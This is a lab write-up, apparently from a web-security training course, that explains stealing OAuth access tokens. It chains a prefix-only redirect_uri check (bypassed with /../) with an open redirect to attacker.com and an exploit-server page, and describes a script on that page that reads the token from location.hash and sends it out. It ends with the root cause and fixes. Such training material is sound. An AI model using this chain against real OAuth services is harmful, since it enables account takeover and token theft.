Lab 4 Stealing OAuth access tokens via an open redirect
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.
To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner.
Note You cannot access the admin's API key by simply logging in to their account on the client application.
The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.
You can log in via your own social media account using the following credentials: wiener:peter.
Feature Being Attacked
Standard OAuth login. This time, the OAuth server does whitelist redirect_uri - but only checks it loosely (prefix-based), not with exact-match validation.
Key Vulnerabilities Chained Together
1. Path traversal in redirect_uri validation
The whitelist check only verifies the redirect_uri starts with the registered value. Appending /../ lets you escape the intended path while still passing the check:
redirect_uri=https://LAB-ID/oauth-callback/../post/next?path=...This resolves to /post/next?path=... - a completely different endpoint on the same domain.
2. Open redirect on /post/next
The blog's "Next post" feature redirects based on a path query parameter with no validation that it stays on-domain:
GET /post/next?path=https://attacker.com→ redirects anywhere, including external domains.
Combined, these let you keep the OAuth server's domain whitelist happy (redirect_uri still starts with the trusted host) while ultimately sending the browser - and the fragment carrying the access token - to an attacker-controlled destination.
Full Exploit Chain
OAuth server validates
redirect_uri→ passes (still starts with trusted host)User authenticates (session already active, so this is silent) → OAuth server redirects to:
.../post/next?path=https://exploit-server.net/exploit#access_token=...Blog server sees
?path=...→ issues its own open redirect (fragment isn't sent to server, but the browser carries it forward automatically on navigation)Browser lands on
https://exploit-server.net/exploit#access_token=...Attacker's JS on that page reads
location.hashand exfiltrates it
The Exploit Server Payload
First load (no hash) → kicks off the full OAuth chain
Second load (chain completes, lands back here with hash) → forwards token to exploit server's own
/as a query param → visible in the access log
Important: Use window.location for top-level navigation, not an <iframe> - OAuth login pages often block framing (X-Frame-Options/CSP), which silently kills the flow.
Root Cause
Two independent flaws, individually low-severity, combined into full account takeover:
Weak
redirect_urivalidation - prefix/substring match instead of exact match, defeatable via path traversal (/../)Open redirect on an unrelated internal endpoint (
/post/next), providing the actual off-domain hop
Neither flaw alone leaks the token to an attacker - it's the chaining that matters.
The Fix
redirect_urivalidation: exact string match against the registered value - no prefix matching, no traversal sequences allowed, normalize/canonicalize the path before comparingFix the open redirect independently: validate
pathagainst an allowlist of internal paths, or require it to be a relative path only (reject anything starting withhttp:///https://or//)Defense in depth: even a perfectly validated
redirect_uriis only as safe as every other redirect-capable endpoint on that domain - an open redirect anywhere on the trusted host can be chained the same way
One-Line Takeaway
redirect_urivalidation must be an exact match, not "starts with." And any open redirect anywhere on the client's domain becomes a way to defeat even a whitelistedredirect_uri, because the OAuth server only checks the domain - not where the client's own code ultimately sends the browser afterward.
Last updated